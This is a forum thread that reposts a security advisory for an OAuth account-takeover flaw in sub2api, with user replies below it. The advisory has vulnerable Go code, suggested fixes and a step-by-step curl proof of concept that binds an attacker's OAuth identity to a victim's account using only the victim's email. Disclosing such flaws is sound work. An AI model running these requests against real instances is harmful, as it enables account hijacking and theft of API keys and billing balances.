• sundx

    sub2api v0.1.171 及之前版本存在一个 CVSS 8.8 的高危 OAuth 账户接管漏洞。攻击者仅需知道受害者注册邮箱,无需密码或验证码、无需用户交互,即可通过接口将自己的 OAuth 身份绑定到受害者账户,完全控制其 API 密钥、账单余额与订阅配额。

    攻击者利用 pending session 流程中 existingUser 分支不校验密码和验证码的缺陷,将目标用户 ID 设为受害者后完成 OAuth 身份绑定。此后攻击者每次 OAuth 登录均会解析为受害者账户。

    github.com/Wei-Shaw/sub2api

    OAuth Account Takeover via Pending Exchange Bypass in sub2api

    已打开 01:34AM - 07 Aug 26 UTC

    图片

    TechnologyStar

    Summary

    A critical account-takeover vulnerability exists in sub2api's OAuth …pending-session exchange flow. An attacker who possesses only the victim's registered email address can bind their own OAuth identity to the victim's account through the /auth/oauth/pending/exchange endpoint, without requiring the victim's password, email verification code, or any user interaction. After binding, every subsequent OAuth login by the attacker is resolved to the victim's account, granting full control over the victim's API keys, billing balance, and subscription quotas.

    The root cause is a three-layer defect in backend/internal/handler/auth_oauth_pending_flow.go:

    1. ExchangePendingOAuthCompletion only intercepts the email_completion and bind_login_required steps, leaving choose_account_action_required unguarded.
    2. applyPendingOAuthAdoption unconditionally calls applyPendingOAuthBinding regardless of the adoption decision's content.
    3. shouldBindPendingOAuthIdentity returns true unconditionally when intent == "login", without verifying that the session is in a terminal, verifiable state.

    The vulnerability affects all OAuth providers that route through the pending-session flow (linux.do, OIDC, WeChat, DingTalk). GitHub and Google may follow a separate verified-email path that requires additional audit.

    Affected Versions

    • Project: Wei-Shaw/sub2api
    • Affected versions: <= v0.1.171 (latest release as of disclosure)
    • Fixed version: None — PR is pending merge at time of writing

    CVSS

    CVSS v3.1 Base Score: 8.8 (High)```
    AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    ```| Metric | Value | Justification |
    |---|---|---|
    | Attack Vector | Network | Exploited via HTTP API remotely |
    | Attack Complexity | Low | Multi-step HTTP request sequence, no race condition |
    | Privileges Required | Low | Attacker needs any OAuth account (low registration bar) |
    | User Interaction | None | No victim interaction required |
    | Scope | Unchanged | Impact confined to sub2api account system |
    | Confidentiality | High | Full read of victim's API keys and account data |
    | Integrity | High | Attacker can modify account, bind new identities |
    | Availability | High | Attacker can drain subscription quotas and disable service |

    Prerequisites

    1. Attacker controls any OAuth account on a supported provider (e.g., a freshly registered linux.do account).
    2. Attacker knows the victim's registered email address on the sub2api instance. Email addresses are commonly obtainable through:
    - Public profile information
    - Community channels (chat groups, forums)
    - Social engineering
    - Prior data leaks

    No password, no email verification code, no captcha bypass, and no victim interaction are required.

    Vulnerable Code

    Location```

    backend/internal/handler/auth_oauth_pending_flow.go
    ``### Defect A — ExchangePendingOAuthCompletion does not intercept all steps``go
    func (h AuthHandler) ExchangePendingOAuthCompletion(c gin.Context) {
    session := loadPendingSession(c)
    step := completionPayload.Step

    // ⚠️ Only these two steps are intercepted.
    // choose_account_action_required falls through to adoption/binding.
    if step == "email_completion" || step == "bind_login_required" {
    c.JSON(200, gin.H{"step": step, ...})
    return
    }

    // Unintercepted steps (incl. choose_account_action_required) reach here.
    adoptionDecision := parseAdoptionDecision(c)
    h.applyPendingOAuthAdoption(ctx, session, adoptionDecision)
    // ... issues token pair ...
    }
    ``### Defect B — applyPendingOAuthAdoption always triggers binding``go
    func (h *AuthHandler) applyPendingOAuthAdoption(ctx, session, decision) (...) {
    // adopt_display_name / adopt_avatar affect display attributes only,
    // they have nothing to do with account ownership. Yet binding still runs.
    if decision.AdoptDisplayName || decision.AdoptAvatar {
    h.updateUserProfileFields(ctx, session.TargetUserID, decision)
    }
    // ⚠️ Binding is invoked regardless of the adoption decision.
    return h.applyPendingOAuthBinding(ctx, session)
    }

    func (h *AuthHandler) applyPendingOAuthBinding(ctx, session) (...) {
    if h.shouldBindPendingOAuthIdentity(session) {
    // Writes attacker's OAuth identity into auth_identities table
    // with user_id = session.TargetUserID (i.e., the victim).
    h.authService.BindOAuthIdentity(ctx, session.TargetUserID,
    session.ProviderType, session.ProviderSubject)
    }
    }
    ``### Defect C — shouldBindPendingOAuthIdentity returns true unconditionally for intent == "login"````go
    func (h *AuthHandler) shouldBindPendingOAuthIdentity(session) bool {
    // ⚠️ No verification that the session is in a terminal, verifiable state.
    // No check for canIssueTokenPair or email-verified flag.
    if session.Intent == "login" {
    return true
    }
    if session.Intent == "bind_current_user" {
    return session.HasCurrentUserCookie
    }
    return false
    }
    ```## Attack Scenario

    Step 1 — Attacker initiates OAuth login

    The attacker starts a normal OAuth login flow with their own provider account (e.g., linux.do). The callback handler cannot find an existing auth_identity for the provider subject, so the session enters the choose_account_action_required state, prompting the user to choose between "create new account" or "bind to existing account".

    Step 2 — Attacker submits the victim's email

    The attacker calls POST /auth/oauth/pending/create-account with:

    • email = victim's registered email
    • password = any arbitrary value
    • verify_code = omitted or empty

    Because the submitted email already exists in the users table, the handler transitions the pending session to the choose_account choice state and sets:

    • TargetUserID = victim's user_id
    • existing_account_bindable = true

    Critically, this path does NOT validate the password, does NOT require an email verification code, and skips the captcha gate when the email already exists. The system conflates "email exists" with "the submitter owns this email" — a trust-boundary inversion.

    Step 3 — Attacker calls exchange with an adoption decision

    The attacker calls POST /auth/oauth/pending/exchange with an adoption decision payload:```json
    {
    "adopt_display_name": true,
    "adopt_avatar": true
    }
    ``These two boolean fields control only display attributes (nickname / avatar) and have no semantic relationship to account ownership. However, ExchangePendingOAuthCompletion does not intercept choose_account_action_required (Defect A), so the request falls through to applyPendingOAuthAdoption → applyPendingOAuthBinding (Defect B), and shouldBindPendingOAuthIdentity returns true because intent == "login"` (Defect C).

    The attacker's OAuth identity is now persisted in auth_identities with user_id = victim's user_id.

    Step 4 — Subsequent OAuth login resolves to the victim

    On the attacker's next OAuth login with the same provider account, findOAuthIdentityUser looks up the auth_identities table, finds the entry created in Step 3, and resolves the attacker to the victim's user_id. The system issues the victim's access token / refresh token pair to the attacker.

    The account takeover is now complete and persistent. The attacker can:

    • Read all of the victim's API keys (Claude / OpenAI / Gemini / Grok, etc.)
    • Drain billing balance and subscription quotas
    • Modify account profile, payment bindings, and password
    • If the victim participates in a subscription carpool group, access other members' information
    • Impersonate the victim for social-engineering follow-up attacks

    Proof of Concept

    The following is a minimal PoC demonstrating the attack against a local instance. Replace <victim_email> with the target's registered email. Run with an authenticated attacker OAuth session cookie from Step 1.

    1. Trigger OAuth login as the attacker```

    GET /oauth/linuxdo/start
    # Complete the OAuth dance on linux.do with the attacker's account.
    # Callback lands at /oauth/linuxdo/callback and returns a pending_session_id.
    ``### 2. Submit the victim's email to enter the choose_account_action_required state``bash
    curl -X POST "https://<instance>/auth/oauth/pending/create-account&quot; \
    -H "Content-Type: application/json" \
    -H "Cookie: pending_session=<pending_session_id>" \
    -d '{
    "email": "<victim_email>",
    "password": "any_random_value",
    "display_name": "attacker"
    }'
    ``**Expected response** (note the existing_account_bindable flag and absence of captcha requirement):``json
    {
    "step": "choose_account_action_required",
    "existing_account_bindable": true,
    "target_user_id": <victim_user_id>
    }
    ``### 3. Exchange the pending session with an adoption decision to bind the attacker's OAuth identity``bash
    curl -X POST "https://<instance>/auth/oauth/pending/exchange&quot; \
    -H "Content-Type: application/json" \
    -H "Cookie: pending_session=<pending_session_id>" \
    -d '{
    "adopt_display_name": true,
    "adopt_avatar": true
    }'
    ``**Expected response** (the attacker now receives the victim's token pair):``json
    {
    "access_token": "<victim_access_token>",
    "refresh_token": "<victim_refresh_token>",
    "user": { "id": <victim_user_id>, "email": "<victim_email>", ... }
    }
    ```### 4. Verify the takeover

    The attacker can now call any authenticated API endpoint with the issued access_token and is treated as the victim. Calling GET /api/user/profile returns the victim's account details, API keys, and billing state.

    Impact

    • Full account takeover with no password, no email verification, and no user interaction required.
    • API key disclosure — all upstream API keys (Claude / OpenAI / Gemini / Grok / Antigravity) bound to the victim's account are exposed.
    • Billing and quota abuse — attacker can drain prepaid balance and consume subscription quotas.
    • Carpool group collateral damage — if the victim is in a shared subscription carpool, other members' data and quotas may be affected.
    • Reputation and payment risk — attacker can post content, send private messages, and modify payment bindings under the victim's identity.
    • Persistence — the binding survives until manually removed from auth_identities; the attacker can re-login at will.
    • Scalability — the attack can be scripted to enumerate and take over multiple accounts in bulk if email lists are available.

    Root Cause Analysis

    The vulnerability arises from three compounding design flaws:

    1. Non-exhaustive state machine

    ExchangePendingOAuthCompletion enumerates only a subset of pending-session steps for explicit interception. Any step not in the whitelist (including choose_account_action_required) is implicitly treated as "safe to proceed to binding," violating the fail-closed principle.

    2. Trust-boundary inversion

    When the attacker submits the victim's email, the system sets TargetUserID = victim's user_id based solely on the email-existing lookup. This conflates a neutral fact ("this email exists in the database") with an authorization claim ("the submitter owns this email"). The correct proof of email ownership — a verification code sent to that email — is bypassed on the existing_account_bindable path.

    3. Intent/permission semantic confusion

    shouldBindPendingOAuthIdentity treats intent == "login" (an anonymous, unverified state) as more permissive than intent == "bind_current_user" (a logged-in, cookie-verified state). The function returns true unconditionally for login intent without checking canIssueTokenPair or HasVerifiedEmail. This is the opposite of least-privilege — anonymous sessions should be the most restricted, not the least.

    Suggested Fix

    The fix has three layers, all of which should be applied:

    Fix 1 — Fail-closed in ExchangePendingOAuthCompletion

    Only execute identity binding when the session is in a terminal, verifiable state OR the request originates from an authenticated bind_current_user session. All other states return the payload only and do NOT consume the session.```go
    func (h AuthHandler) ExchangePendingOAuthCompletion(c gin.Context) {
    session := loadPendingSession(c)

    // ✅ Only allow binding in terminal or authenticated-bind states.
    if !session.CanIssueTokenPair && session.Intent != "bind_current_user" {
    // Non-terminal state — return payload, do NOT bind, do NOT consume.
    c.JSON(200, buildCompletionPayload(session))
    return
    }

    if session.Intent == "bind_current_user" && !session.HasCurrentUserCookie {
    c.JSON(403, gin.H{"error": "bind_current_user requires login cookie"})
    return
    }

    h.applyPendingOAuthBinding(ctx, session)
    c.JSON(200, h.issueTokenPair(session.TargetUserID))
    }
    ``### Fix 2 — Require email verification on the choose_account_action_required` path

    When the submitted email already exists, force a verification code to be sent to that email and require it on the subsequent exchange. The existing_account_bindable shortcut must be removed.```go
    // In create-account handler:
    if emailExists {
    // Do NOT set existing_account_bindable = true.
    // Instead, transition to email_verification_required and send a code.
    session.Step = "email_verification_required"
    h.authService.SendPendingOAuthVerifyCode(ctx, session, email)
    c.JSON(200, gin.H{"step": "email_verification_required"})
    return
    }
    ``### Fix 3 — Tighten shouldBindPendingOAuthIdentity`

    Require both CanIssueTokenPair and HasVerifiedEmail for login intent.```go
    func (h *AuthHandler) shouldBindPendingOAuthIdentity(session) bool {
    switch session.Intent {
    case "login":
    return session.CanIssueTokenPair && session.HasVerifiedEmail
    case "bind_current_user":
    return session.HasCurrentUserCookie && session.HasVerifiedEmail
    }
    return false
    }
    ```## Defense-in-Depth Recommendations

    In addition to the core fix, the following hardening measures are recommended to prevent similar issues from recurring:

    1. Single-consume pending sessions — Add a consumed flag to pending_auth_session. Once exchange succeeds, mark the session as consumed and reject any subsequent exchange call with 410 Gone, preventing replay attacks.
    2. Anomaly alerting — Alert when a single IP binds OAuth identities to 3+ distinct user_ids within 1 hour, which is a strong signal of mass takeover attempts.
    3. Audit other OAuth providers — GitHub and Google follow the RegisterVerifiedOAuthEmailAccount path because they return verified emails. Confirm this path is not reachable from the choose_account_action_required state. Also audit WeChat, OIDC, and DingTalk for the same defect class.
    4. Unit-test the state machine — Add tests covering every (intent, step) combination and assert that binding only occurs for the terminal / authenticated-bind cases.
    5. Consider removing choose_account_action_required entirely — The "bind to existing account" UX flow can be replaced with an explicit bind_current_user flow that requires the user to first log in with their existing credentials, then visit the profile page to bind a new OAuth identity. This eliminates the anonymous-bind attack surface.

    Timeline

    DateEvent
    2026-08-04sub2api v0.1.171 released (latest affected version)
    2026-08-06Vulnerability disclosed via GitHub PR #5345
    2026-08-07This advisory published

    References

    • Fix PR: https://github.com/Wei-Shaw/sub2api/pull/5345
    • Project repository: https://github.com/Wei-Shaw/sub2api
    • Related security PRs:
    • #5268 — Turnstile ticket required before OAuth signup submission (merged)
    • #5261 — Tencent Tianyu captcha gate for anonymous auth endpoints (closed)
    • #5327 — User-agent validation before persisting account fingerprint (open)
    • #5200 — Refresh token race prevention across tabs (merged)

    Credits

    Reported by independent security researcher. The fix PR was prepared and submitted in parallel with this advisory.

    Disclaimer

    This advisory is provided for defensive and remediation purposes only. The proof-of-concept commands are intentionally minimal and require an authenticated attacker session; they should only be executed against instances under the reporter's own control for validation purposes.

    主楼
  • Zeus_Jie

    那我默认 admin 不得炸了

    #1
  • 天天

    没事,只要你不开OAuth就没事,开了被攻击确实要炸

    #2
  • Muse

    不是,直接是新版本,然后安全反馈发到issue ? 不应该是发到 github security ?

    #3
  • longxuan

    还好我是在公司内网里搭建的,也没有开启oauth

    #4
  • 月

    感谢开源 我现在就去把中转站的管理员账号盗了^-^^-^^-^^-^

    #5
  • 廿四

    我焯,这个怎么排查啊,我给自建的都是用邮箱登录的

    #6
  • 布鲁斯·韦恩

    图片

    有大佬已经提交fix了


    看错了,是他自己fork的版本

    #7
  • 地狱之歌

    害怕 我们用转中转的有什么影响吗 不知道会不会泄露什么

    #8

发表回复

登录后回复